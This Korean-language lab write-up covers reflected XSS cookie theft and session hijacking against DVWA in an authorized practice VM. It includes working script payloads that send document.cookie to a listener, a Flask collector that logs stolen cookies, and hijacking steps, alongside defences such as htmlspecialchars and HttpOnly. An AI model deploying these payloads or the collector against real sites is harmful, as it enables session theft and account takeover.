XSS로 훔친 쿠키가 세션 하이재킹이 되기까지

🛡️ 강사 제공 인가된 실습 환경에서 수행

실습 환경: DVWA (Metasploitable2 VM, 192.168.10.105) 공격자 수집 서버: 같은 내부망의 리스너 (netcat / Python)

XSS에 필요한 선행 개념

쿠키는 누가 주고받나

HTTP는 원래 기억력이 없다(stateless). 요청 하나 처리하면 “너 누구였지?” 하고 잊어버린다. 그래서 로그인 상태 같은 걸 기억하려고 쿠키 + 세션을 쓴다.

  1. 브라우저가 서버에 요청 (로그인 등)
  2. 서버가 응답에 Set-Cookie: PHPSESSID=... 를 실어서 발급
  3. 브라우저가 저장
  4. 이후 모든 요청에 Cookie: PHPSESSID=... 를 자동으로 실어서 도로 보냄

쿠키는 서버가 발급하고(Set-Cookie), 브라우저가 저장했다가 요청마다 되돌려 보낸다(Cookie).

브라우저 세션 vs 서버 세션

세션 ID는 일종의 “신분증 번호”다. 서버는 이 번호만 보고 누군지 판단한다.

브라우저 세션유저/서버 세션
위치브라우저 (쿠키)서버 (세션 저장소)
정체열쇠 (PHPSESSID 값)금고 (실제 로그인 정보)
훔치면= 쿠키 탈취직접 못 훔침 (서버 안)
브라우저 닫으면세션 쿠키면 사라짐타임아웃 전까지 서버에 남음

핵심은 이거다. 서버는 “열쇠(세션 ID)“만 보고 주인을 판단한다. 누가 들고 왔는지는 안 따진다. 그래서 세션 ID를 훔치면 비밀번호를 몰라도 그 사람 행세가 가능하다(세션 하이재킹).

실서비스는 어떻게 막나 — HttpOnly

네이버 쿠키를 열어보면 로그인 관련 쿠키(NID_AUT, NID_SES, JSESSIONID)에 HttpOnly 플래그가 걸려 있다.

  • HttpOnly가 걸린 쿠키는 JavaScript의 document.cookie로 읽을 수 없다.
  • 콘솔에서 document.cookie 를 실행해도 NNB, NAC 같은 비민감 쿠키만 보이고, 진짜 세션 쿠키는 안 나온다.
  • 결론: 네이버는 XSS가 터져도 쿠키 탈취 방식으로 로그인 세션을 못 훔친다. DVWA는 학습용이라 HttpOnly가 꺼져 있어서 탈취가 됐던 것.

쿠키 종류 구분

  • NNB (Naver New Basic): 접속하자마자 발급되는 브라우저 식별/추적용 쿠키. 로그인 무관. HttpOnly 없음(훔쳐도 가치 낮음).
  • NID_AUT / NID_SES: 로그인 성공 시에만 발급되는 인증/세션 쿠키. HttpOnly로 보호됨.

XSS의 원리

공격자가 웹페이지에 악성 JavaScript를 심어서, 그 페이지를 보는 다른 사용자의 브라우저에서 실행시키는 공격.

  • SQL Injection → 공격 대상 = 서버(DB)
  • XSS → 공격 대상 = 다른 사용자(브라우저)

즉 서버를 터는 게 아니라, 그 사이트를 믿고 쓰는 다른 사용자를 노린다.

JS라서 실행되는 게 아니라, 브라우저가 태그로 인식해서 실행된다

취약 코드 예:

echo "검색 결과: " . $_GET['q'];
입력서버가 만든 HTML브라우저 해석
q=hello검색 결과: hello그냥 글자 → 화면 표시
q=<script>alert(1)</script>검색 결과: <script>alert(1)</script><script> 태그로 인식 → 실행

브라우저는 서버가 보낸 HTML을 위에서부터 해석하다가 <script>를 만나면 “실행하라는 코드”로 취급한다. 개발자가 의도했는지 공격자가 넣었는지 구분하지 못한다. 공격의 본질은 내 입력이 데이터(글자)가 아니라 코드(태그)로 취급되게 만드는 것 — SQLi와 완전히 동일한 인젝션 원리다.

XSS 3종류

종류스크립트 위치특징
Reflected요청에 실려 즉시 응답에 반사URL 파라미터, 일회성(링크 클릭한 사람만)
StoredDB에 저장게시판/댓글, 그 페이지 보는 모든 사람 피해 (가장 위험)
DOM-based브라우저 JS가 직접 DOM 조작서버 안 거침, 클라이언트에서만 발생

방어의 근본 원리

지금까지 배운 취약점의 공통 원인은 하나다 — 사용자 입력을 검증/처리 없이 그대로 신뢰한다.

취약점입력이 들어가는 위치
SQL Injection쿼리
Command Injection시스템 명령
Path Traversal파일 경로
XSSHTML 출력
// 취약
echo $_GET['name'];

// 패치 - <, >, " 등을 HTML 엔티티로 변환
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

<script>&lt;script&gt;로 바뀌면 브라우저가 태그가 아니라 글자로 취급 → 실행 안 됨.

Reflected XSS로 쿠키 탈취하기

전체 흐름

[피해자 브라우저]  ← 취약 페이지에서 XSS 실행
      │  document.cookie 읽음 (PHPSESSID=...)
      │  요청을 공격자 서버로 발생시킴

http://192.168.10.105:8888/steal?c=PHPSESSID=...


[공격자 수집 서버]  ← 요청 URL에 실린 쿠키 수신 → 확인/저장

1단계 — 수집 서버 띄우기

수집 서버는 공격자가 통제하는 곳이면 되고, 꼭 대상 VM일 필요는 없다.

방법 A — netcat (제일 간단, 확인용)

nc -lvp 8888

요청 하나 받으면 종료되는 경우가 많고, 요청 헤더가 통째로 화면에 찍혀서 쿠키를 눈으로 확인할 수 있다.

방법 B — Python 간이 서버 (계속 떠 있음)

python -m SimpleHTTPServer 8888        # Python2
# python3 -m http.server 8888          # Python3

/steal 이라는 파일이 없어서 브라우저엔 404가 뜨지만, 요청 URL(쿠키 포함)은 이미 로그에 찍힌다. 목적은 달성. 단점은 저장이 안 되고 피해자에게 404가 노출된다는 것.

방법 C — Flask (저장 + 404 제거)

from flask import Flask, request
app = Flask(__name__)

@app.route('/steal')
def steal():
    cookie = request.args.get('c')
    ip = request.remote_addr
    ua = request.headers.get('User-Agent')
    with open('cookies.txt', 'a') as f:
        f.write(f"[{ip}] {cookie} | UA: {ua}\n")
    print(f"[+] 쿠키 수신: {cookie} (from {ip})")
    return '', 200   # 404 대신 깔끔한 응답

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

/steal 경로를 직접 처리하니 404가 안 뜨고, IP와 User-Agent까지 파일에 남는다.

2단계 — 페이로드 주입

<!-- 화면이 이동함 (티가 남) -->
<script>document.location='http://192.168.10.105:8888/steal?c='+document.cookie</script>

<!-- 화면 이동 없이 백그라운드 전송 (은밀함) -->
<script>new Image().src='http://192.168.10.105:8888/steal?c='+document.cookie</script>

new Image().src 방식은 화면 이동이 없어 피해자가 눈치채기 어렵다.

/steal?c= 라는 주소의 의미

http://192.168.10.105:8888/steal?c=PHPSESSID=097617...
                          └─┬──┘ └┬┘
                           경로  파라미터
부분필수?의미
/stealX (자유)경로 이름. 알아보기 쉬우라고 붙임
?O“파라미터 시작” 구분자
cX (이름 자유)파라미터 이름 (cookie의 c)
=O이름-값 연결

문법적으로 꼭 필요한 건 ?=뿐이다. ?c=쿠키 값을 URL에 실어 나르는 그릇 역할이고, 서버에서 $_GET['c']로 값만 깔끔히 뽑아낼 수 있어 관례적으로 쓴다.

결과 확인

GET /steal?c=security=low; PHPSESSID=097617053af4dbb8110669d9759149ab HTTP/1.1

브라우저에 404가 떠도 성공이다. 주소창의 ?c=... 와 서버 로그의 쿠키가 진짜 결과물이다. 이 PHPSESSID 로 세션 하이재킹이 가능하다 — 개발자도구 → Application → Cookies에서 값을 교체하고 새로고침하면 피해자로 로그인된 상태가 된다.

포트에 대한 메모

  • 리스너 포트(nc -lvp 8888)와 페이로드 URL 포트(:8888)는 반드시 일치해야 쿠키가 도착한다.
  • 1024 미만 포트는 리스너를 열 때 root 권한이 필요하다(well-known port 보호). 실습은 1024 이상이 편하다.
  • 이 보호의 의미는 방어 쪽에 있다. 서버에 침투한 낮은 권한 계정(www-data 등)이 표준 서비스 포트(80 등)를 가로채지 못하게 막는 것.

방어 관점 정리

계층방어효과
애플리케이션 (PHP)htmlspecialchars()입력이 태그로 안 바뀌게 → XSS 원천 차단
쿠키HttpOnlyJS가 쿠키 못 읽음 → 이번 탈취 공격 무력화
쿠키Secure, SameSite전송 채널/크로스사이트 제한
세션세션 타임아웃, 로그인 후 세션 ID 재발급탈취된 세션의 수명 제한 / 세션 고정 방지

DVWA는 학습용으로 방어가 꺼져 있어 쉽게 뚫렸고, 네이버 같은 실서비스는 HttpOnly 하나로 동일 공격을 원천 차단한다. “공격 성공”에서 멈추지 말고 “실서비스는 어떻게 막았나”까지 확인하면 방어 설계가 보인다.